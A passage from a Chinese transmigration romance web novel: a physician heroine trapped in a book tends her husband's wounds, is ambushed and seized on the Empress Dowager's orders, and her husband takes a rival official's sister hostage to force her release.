谢蕴抽开药箱的第二层抽屉,拿出一个小小的粉色瓷瓶,上面贴了标签,娟秀的字体:雪花清疮粉。
小心谨慎的洒满后背,仔仔细细的检查两三遍确定没有哪处遗漏才放心。
谢蕴拿起手腕,再次探脉。
“怎么样?”景和小心翼翼发问,从一开始的不信任到现在的半信半疑,只是因为他在这位夫人身上看到了大人才拥有的沉稳。
“按照这个方子抓药。”谢蕴递过去一张纸,叮嘱:“今日晚上,明日早上各饮一服。”
“明日早上以后呢?”
“明日早上以后等我观察之后再行定论。如今是没有什么大事了。”
压力松懈后,肿胀的膝盖抽疼了几下,谢蕴才恍惚间想起自己也是病人。
“好了,没有什么事就都散了吧,我…”
一句话还未说完,谢蕴发觉眼前慢慢模糊,眼看着芝落的身影从一个变成两个、三个,最后全部变黑,什么都看不到了。
她又做梦了,梦见小时候的自己,孤单无助的蜷缩在角落。
她很想摸摸那个女孩,但却做不到。
周围是破碎的玻璃、半旧的家具。
“过不下去就离婚!”
“离就离!你以为我想你和你过!”
那个可怜兮兮的小女孩战战兢兢地开口:“那我呢?爸爸妈妈,我怎么办?”
好像这句话才让他们注意到角落里还有一个这样的人。、
长大后的自己是不是能够共情小时候的自己?
不然,为什么她此刻感觉又仿佛回到小时候?
那样冷的冬天,她拼命想要逃离,像是怎么也逃不了。
不知奔跑了多久,她终于逃脱了。
春日暖阳,是温暖的春天啊!
她在草地上仔细感受。
好像不对!这个春天!怎么这么热!
这不仅热!甚至还有点烫!
谢蕴猛然一睁眼,闯入眼帘的是肌理清晰的两块男性胸膛。
她有些茫然,目光上移,落在那道锁骨之上,额头抵住的地方正是在此,再上方的喉结随着微弱的呼吸缓缓滚动,流畅的下颚线宣告这男人是何许人也。
天呐!
再往下看,又是不堪入目。
自己单手搂在他精瘦的腰间,另一只手毫不见外覆在胸膛之处,右腿大大咧咧的塞在张止的双腿之中。
谢蕴紧闭双眼,嘴角下撇,渐渐往后挪,不住的道歉:“不好意思,不好意思。”
忽然之间,发现胸膛处手感不对。
她警觉性的睁眼,又覆上去,随即哧溜一下从床上跪爬起来,探了探额头的温度。
发烧了。
她眨眼,原来在梦中觉得烫是这么回事。
张止眉毛轻微拧紧,湿漉漉的汗水打湿发梢,黏在额前,眉骨处透露着病态的惨白。
谢蕴估摸此刻已是凌晨,侯府为避免夜间着火,常常以碳温水,可保证一夜无虞。
她起身从张止身上跨过,熟练从炉子里倒入热水。
正准备打湿帕子时,惊觉自
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己的身后也被抹好药膏。
膝盖处也是如此。
张止后背有伤,只能侧卧。
谢蕴一遍遍的用帕子擦拭,时间太晚,只能用物理降温。
不应该啊?
她又再次探脉,为免高热,她已经在药方中添加降温药,怎么还会发烧?
谢蕴心说奇怪,但眼前降温才是关键。
张止是好看的,先不说书里描述的语言,单单见到本人就已折服。
现下生病,平日冷冽冷清的人像是柔软下来,睫毛不住的颤抖,每次擦拭而过,好似能够感知到,拧结的面容渐次舒展。
帕子路过胸口时,谢蕴脸上泛红,不忍继续观看,只好闭眼,无奈手上的触感提醒她,男人宽肩窄腰,线条分明。
天边破晓,谢蕴疲惫不堪。
张止呼吸变得舒缓,像个酣睡的小孩子。
谢蕴一颗悬着的心总算放下,眼前一黑,再次晕倒过去。
梦中,谢蕴一遍遍告诫自己,醒来后一定要好好给自己把脉,调养调养。
醒来后把这话抛在脑后,舒服的伸了个懒腰。
还未来得及展开双手,发觉身上一重,像是什么压上来,张止的脸近在咫尺,喘息声极重,发尾垂在她脸上,满身的松木味席卷而来。
肉眼可见的胸膛与她只隔着一层薄薄的里衣,她似乎能感受到男子的体温。
是暧昧的。
若是没有那只擒住她脖子的手,谢蕴必是脸红心跳。
那只手,指腹温热,拇指扣在她的大动脉上,剩余四只手指卡在那一边。
好凌厉的姿势。
谢蕴条件反射般屈起双膝,意图反客为主。
张止大腿架住她的双膝,脚掌置于谢蕴脚背上,力度更甚。
谁胜谁败,一目了然。
谢蕴反握住探了数次的脉搏,艰难开口:“是我。”
张止眼中半是惊恐半是慌张,急忙退到一旁,先发制人:“你怎么会我的床上?”
谢蕴揉着喉咙不住的咳嗽,眼神哀怨:“你要不要听听你在说什么?”
“这张床,不是我的吗?你忘了,我是你嫂嫂!”
“什么叫我在你床上?”
13. 蚀魂销骨 非是男模
张止直起腰,此女一贯在口舌上逞威风,丝毫不肯落于他人之后,一句“嫂嫂”框了他的床不说,还企图以此辖制:“我提醒你,救活了少爷,你才是我的嫂嫂,否则…”
“你要作甚?”
张止欺进:“夫人貌美,张某,自当笑纳。”
谢蕴挑眉:“无盐之姿,哪敢入张大人得眼?”
“夫人不必过于自谦,其余人在貌美如何,不及夫人堪堪入眼。”张止瞧自己赤裸上身:“一日夫妻百日恩,莫非看完了,准备不作数?”
“事急从权,治病而已。”谢蕴笑:“大人不要会错意。”
张止垂眸,此女眼睛生的不好。
一双含情眼,即便什么也不做,万般风情,尽在眼中。
真是…祸害。
许是听到声音,芝落端着药推门而入,看见二人模样,嘴角含笑:“能有精神争吵,想来恢复了大概。”
“昨日你晕的突然,我让他们把你抬到里间…”
谢蕴打断芝落的话,惊奇:“是你们抬的?”
同床共枕,亦是人为。
芝落恍惚:“没有什么好意外的吧?毕竟是夫妻。”
“药煎好了。”
谢蕴吸吸鼻子,夺过张止手中的药,嗅了半天,她没有那么高的水平确定其中有什么,唯一能确定的是改了药方。
“这不是我开的药。”谢蕴无比确信。
芝落承认:“宫里的陈太医来过了,说是你的药方霸道无比,服之,心脉交瘁,恐有性命之忧。这才换了药方。”
昨夜突然高热,根源在此。
谢蕴眼底冒怒火,猛拍床板,却忘记自己手掌上的伤,疼的龇牙咧嘴,不住的开始甩手。
一番操作看呆了两人,面面相觑,不知谢蕴要做什么。
“放屁!哪里来的庸医!”谢蕴手上缓和过来,破口大骂:“外用的伤药和我开的方子相辅相成,何来霸道之说?倒是他开的方子,完全不顾及高热之危,我若发现晚一点,就烧成…”
智障两个字就在嘴边,只是太现代,怕他们一时接受不了,但找个代替词一时又找不到,顿感词穷。
芝落怔了怔,一个是宫廷圣手,专为皇上看病的御医,一个是藉藉无名的女大夫,昨日露一手,震惊阖府上下,她着实不知该相信哪位。
张止倚着床头,慢条斯理道:“按照谢大夫的方子抓药。”
“嗯?”
张止看着两人,并不觉得有所不对。
“你叫我谢大夫?”谢蕴诧异。
“你确定要抓药么?”芝落不确信。
张止颔首,声音清爽:“我确定,谢大夫的医术,我很放心。”
谢蕴探出半个脑子,确定芝落走了,才好发问:“你真的相信我?”
“当然。”张止斩钉截铁,又转了转音:“莫非夫人心有难言之隐,意在张某性命?”
也不是没有过这样的事,那瓶鹤顶红不就是最好得见证吗?
谢蕴讪讪:“没有的事。”
但这么相信一个女大夫的人…
“若我真的要取你的命呢?”
“一条命而已,随时来取。怕只怕…”张止一手支着脑袋,含笑:“夫人没有这么大的能耐。”
谢蕴只笑了一下,这就有点像书中描写的张止了。
自信又自负。
“不过,你也别当我玩笑,若不是你,我自知不会好的这么快。”张止正色:“贱命一条,想夫人若有一日需要,随时恭候。”
不为其他,他半梦半醒之间只能意识到后背疼时,有一女子自信昂扬的许诺:“我保证你会没事。”
投之以桃,报之琼瑶。
“那…”
“我看看你的伤口。”
幸好这张床足够大,张止不动弹,谢蕴也能小跳几步蹲在他的身后。
她下过心思,若是张止还要相信那个庸医的话,那她就不要管他了,反正已经活过来了,大不了就吃些苦头。
她承认作为医士,这样很不道德。
只是张止这种人应该有点教训。
可是,可是,他相信自己。诺言可以玩笑,信任不会作假。
伤口已经不渗血了,但依旧红肿,没个十天半个月好不了。
“你别动,我再给你上点药。”为了方便,谢蕴把雪花清疮粉放在床头,她一伸手就能够到。
可惜此次配药不多,只剩下这点,避免浪费,她先是将药倒入手掌,再一点点的进行涂抹。
早在她学医那年,老师就说过,对于他们而言,没有男女不同,只有患病不同。
一晃数年,谢蕴深以为然并践行此言。
眼前男人背阔宽展,沟壑分明,她想忽视却忽视不了。
慢慢往下,便是她今早环抱的窄腰。
她仿佛还能回想起那些温度。本意不愿联想,大脑却能自主合成。
宽肩窄腰人鱼线。
苍天啊,他是我的病人啊,不是男模。
张止斜撑着枕头,支起后背,女子温热的指尖,落在伤口上,不疼,只是有点痒。
他不知为何想起了梅花,那女子的指尖每落下一点,就像伤口上长出一朵梅花。
从上背至腰间,最后几处,只觉酥麻,他似乎都能感觉女子如同梅花的呼吸舒缓的浮在他的后背上。
他莫名后悔,嘴上逞强,身体上是他亵渎了她。
上药结束,张止不敢回头,顶着伤痛下床,一层层的把衣服穿好。
“你这样,不利于伤口恢复。”
“无妨。”他怕自己再次亵渎神明,将外衣穿好,才肯回头说话:“你如何?太后昨日叫走你,说了什么?”
谢蕴摊开双手,张止弓箭极准,眼力极佳,隔着七八尺的距离,也能看清她手上细小的伤痕。
“我比你好点,没有光明正大的打我,只是让我编个小竹筐。”她故作轻松,一笔带过。
“你呢?皇上怎么说的?”
“不忠不孝,无君无父。”
好重的八个字,谢蕴无言,静默片刻。
张止显然没有放在心上:“陛下忌惮我,借机敲打而已。”
“都是因为我。”谢蕴抿唇,这件事她的确有脱不了的关系,弄巧成拙。
张止挂好鸳鸯配,猜中她的心思:“因为你,所以我不在意。”
谢蕴抬头,惊奇。
“这件事不是你解决的吗?我听你的。”
若是真正的张止,他那样温柔似水的人,想必一定会纵容妻子,为了妻子受三十鞭刑,更是甘之如饴。
所以自己也不会放在心上。
“恭喜宿主,任务进度为百分之二十。”
谢蕴:“?”
怎么就又推进了?系统评判标准是什么?
“宿主这两日进程飞速,获得探听人心技能一项,可用于任何角色身上,时间为三十秒。”
听起来好像很有用,笑纳!
“你哪来的镯子?”张止侧头:“我记得你好像不爱佩戴首饰。”
大婚当日,光是张止准备
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的聘礼,就有百箱之数,莫说再加上宫中赐下的,谢蕴并不放在心中,一股脑的全锁在库房了。
“你说这个?”女子举起手腕晃了晃。里衣太过宽松,细长的胳膊一举起来,露出一节藕白色的手腕。
张止低下眼皮,非礼勿视,轻微嗯了一声,脑海里又浮现起梅花,无端的想在多病上几日。
“太后给的。”想起来这一幕,谢蕴心有余悸,于是细细地描述了当时那一幕。
“这颜色并不衬你,明日我送一个好的给你。”
鸡同鸭讲?这是重点吗?
张止经此一事,刚到手的兵权又被收了回去,忙里忙外一场,只落下对面的美人。
也罢,抱的美人归也算是佳话。
“前日你不是说药味发苦,”谢蕴做了这么多年的大夫,还未见一个大男人说药苦,顺势拿起药箱:“我调整了药方,加了山楂,会好些。”
张止明知故问:“你要出去?”
“作为一个优秀的大夫,要时不时查看病患的情况,以便更正药方。”
这是一方面,另一方面上次去出诊,进度推进百分之十。
控制变量法,要求她要再去试一试。
张止发笑,谢蕴体态端庄,身形偏瘦,偏偏那个大药箱坠着她快要摔倒,看起来十分不相配。
“我陪你去,还是派个人?”
谢蕴忙摇手拒绝:“不用,不用。我自己去就成,天黑前我就回来了。”
什么叫控制变量法,就是除了变量,什么也不能变。
“你会骑马吗?”张止写完最后一字,最后一笔收的太快,诚然不算一幅好字。
“会。”
马厩内,张止同谢蕴停在一匹黑马前,马身通黑,没有一点杂色。
“它叫珍珠,才一岁多,最是通人性。”张止抚上马背,眼中赞赏:“你骑上它去,不消一刻钟就能来回。”
珍珠的母亲是少爷的坐骑,前年那匹母马生下珍珠后没多久就死去了,只留下这一个后代。
“多谢。”谢蕴翻身上马,轻挥马鞭。
果果听到马蹄声,站在院子里的高石上翘首以盼。
“姐姐!”果果老远就兴奋地挥舞双手。
“果果!”谢蕴将珍珠子在树上,暗叹果然是一匹好马。
一路疾行,非但不颠,自添平稳。
“你娘怎么样?”面对迎出来的果果,谢蕴更关心病人:“最近几日可还有不适?”
“好多了。”果果抓紧时间汇报情况:“不过,村里还有其他人也是这样,吃了我娘的药也未见好转。”
“病因不同,治病的方法也不一样。”谢蕴扭头看着正在吃草的珍珠,算算时间:“果果,你去把你们村里生病的人都集中到一起,我所幸今日都诊治一遍。”
有珍珠在,路程上就能节省一半时间。
谢蕴在果果家院内摆出一张桌子,她坐在这头,病人在那头,又诊又治,不觉已经黄昏。
虽是答应天黑前回,但…
她望着仅剩的四五个人,所幸好人做到底。
忙至天黑,谢蕴站起来扭扭腰,差点断了。
在封锁21世纪记忆之前,她明明不怕黑,锦衣夜行乃是常态,可自从记忆解开后,她怕黑怕的要死。
从京郊到侯府,除去京郊处有一大片竹林,其余全是宽阔平坦大道,此时出发,赶在宵禁前回去不成问题。
“嗖—”
一到利箭贴着谢蕴左脸飞过,带着风声,切断了她耳边的几缕头发。
14. 夫人遇险 夜半上门
谢蕴惊恐万分,弯腰伏在马背上,扭头回身看。
一行三人,均骑快马,最左边那人手持重刀,在黑夜中亦能看见寒光。
“珍珠,快跑!”谢蕴心惊胆战,只能寄希望于身下的这匹快马:“快跑!”
会是杨励?亦或是皇上?太后?谢蕴不得而知。
又是一箭,擦着她右手而过,带着一记皮肉而走,谢蕴顾不得疼痛,飞起鞭子,狠狠抽向马臀。
穿过竹林,再行三里,便是城门。只要进了城门,天王老子也无计可施。
“谢蕴!束手就擒!”
狂风而过,微弱的声音传至她耳朵。
谢蕴浑身一激灵,再也顾不得其他,夹紧马肚,疾驰而走。
“你在干什么?”为首那人质疑:“不会是有意放水吧?”
被质疑那人弯弓搭箭,正中马腿。
珍珠吃痛,谢蕴回头望去,中箭的马腿鲜血淋漓,皮开肉绽。
那三人咬紧距离,死追到底。
此处距城门少说还有十里,可她回不去了。
“珍珠!往回跑!”张止爱马,见马儿伤成这样,必要查询。
谢蕴松开手,从马背上飞跃下来,后背重重的摔倒草坪上,她忍不住闷哼一声,胸中似被猛击一拳,随身携带的药箱洒落一地,连滚带爬向前逃窜。
“记住,要活口。”三人下马,穷追不舍。
一根又一根的箭随着随着她的脚步落下,堪堪擦着衣裙射在地上,像愚弄小孩子玩弄的把戏,知道她逃不了。
谢蕴胸口发疼、发闷,高压下她竟也能忽视疼痛,不敢回望,快步向前。
“嗖—”
谢蕴小腿一疼,箭矢命中。她咬牙,右手毫不犹豫扯下箭矢,鲜血从伤口迸发而出,浇到草丛上。虽是踉跄,依旧不停。
“有趣。”
“嗖—”
这次是大腿。
***
“景和,现在什么时辰?”张止独自坐在书房中,细算时间,谢蕴也该回来了。
“回大人,城门刚落锁,已经宵禁了。”
张止眼眸一紧,是他大意了,他扯过搭在椅背上的斗篷,步履不停:“备马!”
城墙上的士兵远远便看见,福宁街上一前一后两匹快马前后而出。
为首那位,身着蓝色窄袖劲装,外披黑色雅青色缎面斗篷,发尾随着马儿颠簸晃荡,盛气凌人。
“来者何人?现已宵禁,不准出城!”
张止单手勒紧缰绳,骏马仰面站起,前腿离地。
景和高声:“我们是镇北侯府的,有要紧事,打开城门!”
“不管是谁,宵禁以后不准出门!”
隔着一堵门,传来几声骏马的嘶吼。
这声音,分明是珍珠。
张止目光骤然变冷,似暴雨前最后的宁静:“开门!”
那士兵没了耐心,骂骂咧咧:“说了几遍了!你老子生你的时候没给你生耳朵?不对,我看你们是没长…”
张止放开缰绳,一手握紧黑色玄武破昼弓,一手从马鞍出抽箭矢,搭箭放弦,直指那名士兵眼睛。
“啊—”
那名士兵捂紧左眼,鲜血从手指缝里流出。
冷面阎罗,名不虚传。
“挑衅将军!侮辱侯爷!你小子不想活了!”景和再次重申:“开门!”
城门吱呀一声,缓缓打开。
珍珠哼哧哼哧跑进来,绕着张止转圈,最后把后腿露出来,像是告状。
他心中沉浮不安。
斗篷在黑夜中猎猎作响,张止拉着缰绳,恨不得此刻有一双翅膀。
行至竹林,谢蕴的药箱安静的摆放在路边。
不远处,一根根箭矢整齐划一的排成一条线。
张止飞身下马,顺着箭矢一路寻找,夜已过半,鲜血混着露水孤零零飘在草丛上。
脚尖向下,微微一动,一支利箭随力飞到半空,落在他的掌心中。
他深吸一口气,气血翻涌,杀意四起:“景和,带人来找,就算把这片林子烧了,也要找到夫人,生要见人,死要见尸。”
“是。”
那夜,福宁街上骏马飞驰而回。福宁街的尽头,便是当朝尚书杨大人的府邸。
管家是一位年迈的老头,听到敲门声从内里迎出来:“谁啊?不知道这里面住的哪位大人?张…张大人…”
张止面无表情,闪身而进。
“张大人!我家大人已经睡下了。”
“张大人,我这就去通报。”
“张大人,你没有拜贴,算是私闯府邸。”
杨励显然还未就寝,外头的哄闹声,让他不免心烦。可见来人气势汹汹,想来管家也挡不住。他示意管家下去:“张兄,深夜来访,所为何事?”
张止狠睨,手中的箭扔到地上,发出“铛”的一响,言简意赅:“人在哪?”
“府上的白羽箭名震朝堂,切勿装傻。”
杨励猜晓他会要人,只不过漏夜前来着实让人意外。
“我不知道。”
张止冷笑,言语讥讽:“你背靠太后,以为我拿你没办法了?当狗是好,可别当狗当的脑子也不要了。”
杨励与张止分庭抗礼多年,虽是政见不合,从来也是恭恭敬敬,相互井水不犯河水。
“我再问一遍,人在哪?”
“我说了,我不知道。”他就不信张止敢夜闯杨府,难道还要杀了他不成?
男人双眸暗淡,手臂青筋暴起,三步并作两步,擒住杨励的胳膊,反剪到背后,顺势将他压到桌子上。
张止嗓音渐冷:“我是武将出身,不似杨大人科举进士,以为学了几天的功夫,造了几批精美兵器,就能与我单打独斗了。”
成亲那日,要不是为了自己设好的局,哪有心思陪他演戏?
语毕,张止抬起右腿,朝杨励的膝窝狠狠踹了一脚。
后者吃痛,单膝跪地。
“张止!你疯了!”杨励回头,怒目圆睁。他知张止不是好色之人,更是权衡利弊之流,纵使谢蕴恍若神仙妃子,也不过是陛下的眼线,加之又拉张止坠入党争。即便深夜绑了谢蕴,也不至于大打出手。
张止手上力度不减,压着杨励动弹不得。
“疯?”张止冷笑,双眸冷意渐盛:“你若不肯开口,我自是还有其他法子。”
杨励挣扎两下,确认这厮力气极大。
景和猛然推门,押上
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来一名子女,毕恭毕敬:“大人,找到了。”
那女子泪眼婆娑,哽咽:“哥哥…”
杨家庶出子嗣兴旺,嫡出除了杨励,便只有他的胞妹,杨宝珠。
后宅之事并不外传,但杨励疼爱妹妹的名声家喻户晓。
杨励不可置信望着身后那人,无法理解他居然会使这么卑劣的手段,破口大骂:“张止,我们之间的事情不要牵扯旁人!我妹妹幼不更事,何其无辜?为何要卷入进来?”
“听闻杨大人妹妹年方十八,年长我妻两岁,”张止眼尾下压,一字一句的反驳:“我妻又何尝不是幼不更事,又何尝不是无辜?”
说到这里,张止心中烦闷,他年轻的妻子此刻又身在何处?
杨励本是铮铮铁骨,可软肋被拿捏着,他除了妥协,别无他法。
“张止,你我同朝为官,戏耍太后,你知道是什么后果?”杨励好言相劝:“谢蕴说到底就是皇上的眼线,若你能撇下这根眼线,入太后麾下,所有的问题不就迎刃而解?”
“看来,杨大人是准备死扛到底了。”张止松开手,面无表情,眼中杀意并未消散:“景和,带杨小姐回府。”
“是。”
杨励小跑两步,顾不上身上疼痛,张开双臂挡在三人面前,深深的怀疑以前那位矜贵冷静的镇北侯还是不是眼前这位。
他已经说了这么明白了,还要如何?冲冠一怒为红颜,哪里是冷面阎王的戏码?
“张止,你难道听不懂吗?今日之事皆是太后的命令,你要我怎么办,你我都是为官之人…”
“我只问你,人在哪?”
“我真不知道!”杨励只管抓人,剩下的只有锦衣卫知晓。
张止薄唇轻启,冷冰冰盯着他:“你自去求你的主子。”
“不过有些话还是提前说清楚的好,我妻若回不来,今日便是你妹妹与你最后一面。我身为臣子,闯宫杀人我做不出来,但是…”他顿了顿,特意偏头看向杨宝珠:“其他的未尝不可。”
“你!”杨励只感觉眼前的人疯了。
“我妻若是受何苦楚,你妹妹也休想完璧归赵。”
杨宝珠哪里经历过这种场面,哇的一下哭出来,战战兢兢的求助:“哥哥,别让他把我带走…”
妹妹哭泣的样子,揪着杨励心疼。
场上另一人张止厌烦女子哭泣,眉头紧皱,一把推开杨励:“杨大人,还是赶紧进宫吧,我是什么人你最清楚。”
张止奇怪女子与女子为何有这么大的不同,他还未怎么样,宝珠便一路哭的没有停歇,有些女子满手伤口,也只道无事。
“你再哭,我就把你舌头拔下来。”张止语气平平,唬着宝珠不敢再哭,只敢小声哭泣。
***
光线渐渐清晰后,芝落瞋目结舌:“杨二小姐?”
张止不置可否,冷声吩咐:“带去柴房,好生看管,吃食就免了,只送些水。”
杨宝珠再怎么说也是官眷,芝落深觉不妥。
“别替她说情。”张止掠了眼二人,目光停在杨宝珠的腿上,淡淡道:“你哥哥亲手往我妻身上射了两箭,你不要想着逃跑,否则我打断你的腿。”
最后几个字,张止说的咬牙切齿。
15. 宫中脱险 又中一计
已近子时,张止虔诚跪在画像前。
画中人,死于十六岁。
也是那年,他脱下张正的皮囊,披上张止的外衣,至近十年。
十年间,他自问杀伐果断,从未有拖泥带水、瞻前顾后之举。
现如今,他却犹豫不决。
“少爷,我该如何?”
他祈祷着画中人能够像之前那般,为他指点迷津,解开困惑。
可仰头只能窥见画中人眉目间悲天悯人的神性。
今夜,杨励虽是存了私心,但也算推心置腹。他说的没错,谢蕴是皇上眼线,若能借太后的手处之,于张止来说,毫无损失。
“张正,你比我更适合做张家家主,我太心软。”
若不是少爷的心软之举,他断不会活到现在。
他成为张止,所以不首鼠两端,不优柔寡断。
可今日,他掩藏在心底深处的张正突然长出灵魂。
恐惧的不是张止,而是张正。
“少爷。她若死了,谁还能救活你?我该怎么办?”
人人都说,子不语,怪力乱神。希望如此渺茫,他愿尽力一试。
男人腰背挺直,如同松柏,非常年习武之人不能做到。但心中恐惧,像是能压弯了他的腰。
“大人,杨小姐想见您。”密室虽在书房下,外间的动静却能通过外墙传至屋内。
杨宝珠抱着双膝瑟瑟发抖,明明是偌大的镇北侯府,哪里都黑漆漆的,柴房里还有老鼠跑来跑去,吓得她尖叫不已,只能拿起木棍挥舞,祈求平安。
“你要见我。”张止并未脱下斗篷,说话时只面无表情的看着她,俨然一副若是知道谢蕴下落,就要立即出发的模样。
“张大人,我求求你,能不能换个地方,我最怕老鼠了!”
张止万万没有想到是这么无聊的话术,他牺牲时间来见她,是以为她有什么关于谢蕴的线索,不是听她哭诉。
张止暗睨一眼景和:“下次这种事,不必通传。”
杨宝珠从小被娇惯长大,怎能受得了这种苦楚?眼看着张止要走,连忙追过去,不慎踩到自己的裙摆。
那时哥哥还嘲笑她,新作的石榴花裙,做工繁琐,若是哪日踩到可让人贻笑大方了。
杨宝珠趴在地上,纠住张止的衣摆:“张大人,求求你…”
张止微微蹙眉,脑海里不由浮起半个月前。
那女子也是如同这般拽着他的衣摆,倔强倨傲,哪怕后背已血肉模糊,仍然强撑着身体。
她知晓他的秘密,像是握住一把钥匙,自然而然,推开大门,如同入无人之境。
他想起那件衣服,成为张止后,他唯一保留的习惯就是自己的洁癖,于是在下摆处有着血液、汗水指印的衣服,被无情的束之高阁。
“你叫宝珠?”
“嗯。”
“谁取的名字?”
她仿佛看见希望:“我哥哥。”
张止冷着脸,食指顶着玉扳指,指节泛白。
如宝如珠,是个好名字,像是被捧在手心。
谢蕴,听起来就差了点。
“景和,关门。”张止迈过门槛,再次回到书房。
景和心中担忧,试探性问:“杨大人,会帮咱们吗?”
张止阖目,食指一下一下无意识敲击桌面:“不是帮咱们,是帮他自己的妹妹。”
“夫人现在会在哪?”
张止沉声:“太后宫中。”
杨励说的很明白了。他不知道的是,两只白羽箭是否真的射中谢蕴?若是有,有无医治?
***
谢蕴还未睁眼,就已闻到一股熟悉的水木香。
原来是太后的手笔。
谢蕴谨慎的扭动手腕,果然不出她的所料,被捆起来了。至于腿上,为了方便逃跑,谢蕴跳马时就拿出麻沸散,以为能够逃出生天,却还是被抓回来了。麻沸散药劲未散,她还未能感觉到腿的存在。
“别动了,这叫牛蹄扣,形似牛蹄,越动越紧。”谢蕴眼前的黑布被猛然揭开,她眨着眼睛适应光明。
诺大的殿内,点燃几盏人高的信灯,照亮整个室内,水木香遮盖油灯的味道,微风从窗口行过时将这水木香塞带到每个角落。
上次同张止说起太后宫中,她特意强调这种香味。
张止默了默,道:“此香价值不菲,一两足够一家五口一年开销。”
谢蕴暗道,怪不得作者不让她夺嫡成功,这样的人哪里能让老百姓有活路?
“太后,有事召见让小黄门去府中唤我就是,哪里需要这么大阵仗?”
丫鬟搬来一张交椅,不偏不倚放在谢蕴面前。
这样近距离的审问,让谢蕴很抵触。
太后不喜这女子,她从小小贵人爬至中宫,再到位极太后,何曾有谁敢戏耍自己?
“张夫人,你做不了丈夫的主,又为何要信口雌黄?”太后靠近,谢蕴满鼻充斥着水木香,一下没有忍住,打了一个大大的喷嚏。
太后一手捏住她的下颚,勃然大怒:“你是故意的?”
她不知道太后问的是哪句?是戏耍?还是关于这个喷嚏?
谢蕴被迫抬起脸庞,与眼前人直视,麻沸散的功效恰在此刻失效,她不由皱紧眉头:“臣妇惶恐,深知侍奉主上,应恭敬和顺。”
太后笑了,表里不一的人,她最是厌恶。嘴里说恭敬和顺,内里却是忘恩负义。她示意杨励只要张止愿意站队,所有种种,便可既往不咎。
杨公的死,她本可以大做文章,只要杨励咬着不放,皇上也无可奈何,张止就算不愿站队,也必然让这股中间势力消减大半。
没想到半路杀出个宵小之辈,言而无信、背信弃义,杨公的死居然这般草草了事。
“你愿意说服张止吗?”不过,她还是想再给谢蕴一次机会。
“臣妇侍夫如侍君,君命不敢不受,夫命不敢不从。”谢蕴动弹不得,偏偏一张利嘴不肯服输。
太后没了兴致,她给了机会,是这个女人没有接住,那就怨不得旁人。
她放下手,垂下眼皮,惋惜道:“可惜了,你活不过今晚了。”
谢蕴还有一张复活卷,死便死了,她又不害怕。唯一头疼的就是,这该死的系统,出的什么bug!临近两次选择不能相同。
若是回到事件发生之前,那…和现在有什么区别?
“太后…我为什么非要死呢…”
太后愣了,这是什么问题?转念却反应过来了。
“你很聪明,知道把那匹马放回去。我虽身为太后,权臣张止,我亦忌惮。”
“现在拖延时间,无非就是等张止救你。”
太后保养的很好,临近五十,涂上胭脂亦看不出来她松弛的皮肤:“你怎么断定,他一定会来救你。别忘了,你是皇帝的眼线,死在我手里,于我于他都是最好不过。上次在宫中,他不愿来。难不成这一次他要夜扣宫门,救你出去?”
谢蕴顷刻间像是坠入深渊,脊背发凉。
太后说的是实情。
虽说他想救活他的少爷,人死不能复生的道理三岁稚童都明白,他又怎么会相信这种怪力乱神的话?
她从小被人抛弃,像狗尾巴草一样迎风生长。
穿书这种事都被她遇上了。难道她还有什么好运吗?
夜扣宫门?形同反叛。
张止断然不会。
“禀太后,杨大人求见。”杨励是太后心腹,早就被赐予随时进宫的权力,虽于礼制不合,但皇上与太后母子情分不深,不愿在此事上计较,
“嗯。”太后临走还不忘嘱咐丫鬟看好失魂落魄的谢蕴:“别让她死了,哀家要亲眼看着她咽气。”
杨励早早站队太后,虽说晋王还未登上皇位,他亦有从龙之功,平日在太后和晋王面前也颇有些脸面。
“求太后救家妹一命。”杨励扑通一声跪倒在地,双掌交叠置于额前,声音哽咽。
“杨卿,早已许你不用行此大礼。”太后听见了他的话,慢悠悠地坐下,伸手扶了一把头顶的发钗,才不紧不
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慢的开口:“宝珠怎么了?”
杨励不起身,吐露事情原委。
“放肆!”太后狠拍桌榻,月白色的镯子撞上桌角,断成三段。
“太后息怒。”亮如白昼的殿中,黑压压跪倒一片人。
“反了!”
杨励恳求:“望太后垂怜,臣唯有这一个胞妹,若累及她丢了性命,臣恐无颜面见家慈。”
太后暗叹张止好心机。
夜扣宫门,除非有不臣之心。
可辖制住了一位能随时进宫,又宠爱妹妹的重臣,让此人开口求情,又不一样了。
这种人不能为她所用,实在可惜。
“杨励,你有无偏私?”
“臣对太后绝为二心,可胞妹是臣之软肋,求太后…”
太后无心在听,缓缓起身,看着跪在地下的人:“听闻君子六艺,杨大人最擅箭术,怎么今晚不能取她的性命?”
密探事无巨细,依数禀告。
文人墨客恃才傲物,料是有从龙之功的杨励也免不了被敲打。
“弓弦太沉,不是臣平日所用惯的。”
他的声音在大殿中回响,再无回应。
谢蕴腿疼的发木,额头不住地滲出密密麻麻的汗珠。绳子吸了汗水,逐渐勒进血肉,缠着她手脚发肿。她不敢挣扎,更不敢动,以免更深。
谢蕴伏在地下,嘴唇发干,本想要一口水喝。负责看守她的丫鬟,却不动声色的退出去。
“有没有人?”声音沙哑,细如蚊子。
“有没有人?”再一次,依旧没有回应。
她恍然间看见小时候的自己,也是这般被关在家中,一遍遍的对天呼喊,渴望有谁能够听到,能够捡起被抛弃的她。
命运转动,可没有想到她的命运竟会一次次的转回原点。
谢蕴心如死灰,经不住冷笑,当真是该死的命运。
她有什么错呢?
她只是有一点点不服气而已。
不服气每次被抛下的都是自己。
不服气每次努力争取之后还是回到原地。
不服气自己没有任何选择的机会。
“她没死吧?”不知过了多久,谢蕴感觉身边地毯塌陷,那人踢了踢她的脸。
“谁知道呢?快点把她抬出去,死在这就不好了。”另一人明显不耐烦。
“杨大人呢?”
“他救妹心切,早已先去侯府。”
***
镇北侯府地处闹区,张止不大喜欢如此喧闹,为了少爷曾经在这住过,他才搬回这座府邸。
每日清晨,商贩叫卖声不绝于耳。
张止在书房枯坐一夜。
卯时二刻,景和入院禀告:“大人,杨大人来了。”
张止快步流星跨出门,脚下生风。
杨励没料到张止竟一夜未睡,只等他的消息:“太后答应放人,稍后便回送回府上。”
张止反问:“当真?”
太后愿意这么轻而易举放手,将放回谢蕴府中,倒出张止意料。
“我妹妹呢?”杨励心急,绕过张止想进侯府。
张止抬手,拦住杨励的去路。
“你莫不是要反悔?”杨励没想到此人竟做如此小人之事。
朝堂之事,波云诡谲。太后心思,更是变换多端。张止不亲眼看见谢蕴归来,仍旧不放心。权臣如何?总不能一次一次的去尚书府绑人。
“杨大人放心,只要我妻顺利归家,我定会安然无恙护送你们兄妹二人回府,这点信誉,我还是有的。”
卯时三刻,两匹骏马拉着一辆俊美的马车疾驰而来。
御马之人正是太后娘家亲信,趾高气昂甩着鞭子,呵斥众人:“让开!快让开!”
